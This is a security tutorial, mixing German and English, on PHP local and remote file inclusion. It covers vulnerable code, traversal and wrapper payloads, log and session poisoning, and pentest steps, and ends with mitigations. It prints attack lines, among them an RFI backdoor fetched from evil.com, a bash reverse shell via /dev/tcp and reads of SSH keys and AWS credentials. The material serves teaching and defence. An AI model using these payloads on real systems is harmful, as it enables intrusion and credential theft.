LFI/RFI - Local File Inclusion und Remote File Inclusion
File inclusion vulnerabilities occur when web applications use filenames from user input in file-loading functions without sufficient validation. LFI (Local File Inclusion) reads local server files such as /etc/passwd or log files. RFI (Remote File Inclusion) includes external URLs, thereby enabling remote code execution. These are common attack vectors in PHP applications. Protection: Input validation, allow_url_include=Off, basename() normalization.
File Inclusion is a class of vulnerabilities that occurs almost exclusively in PHP applications when filenames from user input are used in include(), require(), include_once(), or require_once(). LFI (Local File Inclusion) reads local files; RFI (Remote File Inclusion) loads and executes external URLs—both can lead to complete system compromise.
The Basic Principle
Vulnerable PHP code (classic):
<?php
$page = $_GET['page'];
include($page . '.php');
// URL: https://site.com/?page=contact
// → include('contact.php') - normal
// URL: https://site.com/?page=/etc/passwd
// → include('/etc/passwd.php') - Fehler (Endung fehlt)
// URL: https://site.com/?page=/etc/passwd%00
// → include('/etc/passwd') - Nullbyte-Truncation (PHP < 5.3.4!)
// Noch gefährlicher (ohne Endung):
$page = $_GET['page'];
include($page);
// Kein automatisches .php anhängen
// → jede Datei auf dem Server einlesbar!
Typische anfällige Parameter-Namen:
?page=, ?file=, ?lang=, ?include=, ?template=, ?module=, ?view=, ?content=, ?path=, ?doc=
LFI - Local File Inclusion
Ziel-Dateien auf Linux/Unix
/etc/passwd- Benutzerliste (kein Passwort, nur System-User)/etc/shadow- Passwort-Hashes (root-Rechte nötig, seltener lesbar)/etc/hosts- Netzwerkkonfiguration/proc/self/environ- Umgebungsvariablen (inkl. Secrets!)/proc/self/cmdline- Startkommando des Prozesses/var/log/apache2/access.log- Apache-Logs (für Log-Poisoning!)/var/log/nginx/error.log~/.ssh/id_rsa- SSH Private Key~/.aws/credentials- AWS Access Keys/var/www/html/config.php- Datenbank-Passwörter
Ziel-Dateien auf Windows
C:\Windows\System32\drivers\etc\hostsC:\xampp\htdocs\config.phpC:\inetpub\wwwroot\web.config
Path-Traversal-Kombination mit LFI
?page=../../etc/passwd
?page=....//....//etc/passwd (Bypass-Technik)
?page=%2e%2e%2fetc%2fpasswd (URL-encoding)
PHP-Wrapper (mächtige LFI-Erweiterung)
# Datei als Base64 lesen (nicht-executable, umgeht Sandbox!):
?page=php://filter/convert.base64-encode/resource=config.php
# Response: PD9waHAgJHBhc3N3b3... (Base64 von config.php!)
# Decode: echo "PD9w..." | base64 -d → Klartext-PHP mit DB-Credentials
# Input-Wrapper:
?page=php://input
# POST-Body: <?php system('id'); ?>
→ Remote Code Execution via LFI!
# Data wrapper:
?page=data://text/plain;base64,PHBocCBzeXN0ZW0oJ2lkJyk7ID8+
# → RCE if allow_url_include = On!
Log Poisoning - LFI to RCE
Step 1 - Inject PHP code into logs
GET /<?php system($_GET['cmd']); ?>
HTTP/1.1
User-Agent:<?php system($_GET['cmd']); ?>
Nginx/Apache logs this request to access.log.
Step 2 - Embed log via LFI
?page=/var/log/nginx/access.log&cmd;=id
PHP reads the access.log, interprets the embedded code, and executes system('id') → uid=33(www-data) → Remote Code Execution.
Other Log Files for Log Poisoning
/var/log/auth.log- SSH login attempts → Inject PHP into the username/proc/self/fd/0- Process STDIN/tmp/sess_SESSIONID- PHP session files
Session Poisoning
Cookie: PHPSESSID=abc123
→ Session file: /tmp/sess_abc123
→ Session content: username|s:7:"<?php system('id');?>
";
→ ?page=/tmp/sess_abc123 → RCE!
RFI - Remote File Inclusion
RFI requires allow_url_include = On in php.ini (default since PHP 5: Off).
Attack
# 1. Attacker hosts PHP backdoor:
# http://evil.com/shell.txt contains:
#
<?php system($_GET['cmd']); ?>
# 2. Exploit RFI:
# https://target.com/?page=http://evil.com/shell.txt&cmd;=id
# → PHP loads evil.com/shell.txt
# → Executes code: system('id')
# → Output: uid=33(www-data) gid=33(www-data)
# 3. Reverse shell via RFI:
# evil.com/shell.txt:<?php system('bash -i >
& /dev/tcp/10.0.0.1/4444 0>&1'); ?>
# → Attacker gains an interactive shell!
SMB/UNC Paths (Windows)
?page=\\evil.com\share\shell.php
→ Windows makes an SMB request → NTLM hash leak!
Detection in a Penetration Test
LFI/RFI Testing Methodology
1. Parameter Discovery
Identify all GET/POST parameters; look for: page=, file=, lang=, include=, template=, view=. Burp Suite Spider + parameter analysis.
2. Basic LFI Tests
# Linux Standard:
?page=/etc/passwd
?page=../../etc/passwd
?page=/etc/passwd%00 (for PHP < 5.3.4)
# PHP Wrapper:
?page=php://filter/convert.base64-encode/resource=index.php
# If Base64 response: LFI confirmed!
3. Automated with LFISuite/LFImap
python lfisuite.py
# Automatic tests: Path traversal, wrappers, log poisoning
4. Wazuh/OWASP ZAP
Active Scan → File Inclusion → Automatic tests
5. RFI test
# Test with external HTTPS request:
?page=http://burpcollaborator.net/
# In Burp Collaborator: DNS query → RFI possible!
6. Confirmation of RCE (only with explicit scope!)
?page=php://input # POST with:<?php phpinfo(); ?>
# phpinfo() output → RCE confirmed
Mitigation Measures
1. Whitelist-based Include (best method)
// WRONG:
include($_GET['page'] . '.php');
// CORRECT - Whitelist!
$allowed_pages = ['home', 'about', 'contact', 'services'];
$page = $_GET['page'] ?? 'home';
if (!in_array($page, $allowed_pages)) {
$page = 'home'; // safe default
}
include($page . '.php');
// No user input directly in include()!
2. When dynamic include is unavoidable
// basename() removes path traversal:
$page = basename($_GET['page']);
// "../../etc/passwd" becomes "passwd"
// realpath() + startsWith check:
$allowed_dir = '/var/www/html/pages/';
$page = realpath($allowed_dir . basename($_GET['page']) . '.php');
if (!str_starts_with($page, $allowed_dir)) {
die('Invalid page');
}
include($page);
3. Harden PHP configuration
; php.ini:
allow_url_include = Off ; CRITICAL! prevents RFI
allow_url_fopen = Off ; if not needed
open_basedir = /var/www/html:/tmp ; File system jail
4. Protect logs (against log poisoning)
- Store logs outside the web root
- PHP cannot read logs (open_basedir)
- Use structured logging (no raw user input in logs)
5. Use a template engine instead of include()
- Twig, Blade, Smarty: no PHP execution in templates
- Keep templates out of reach of user input
6. ModSecurity WAF rules
- OWASP CRS: LFI/RFI signatures
- Blocks known path traversal sequences
- Complements code fixes; does not replace them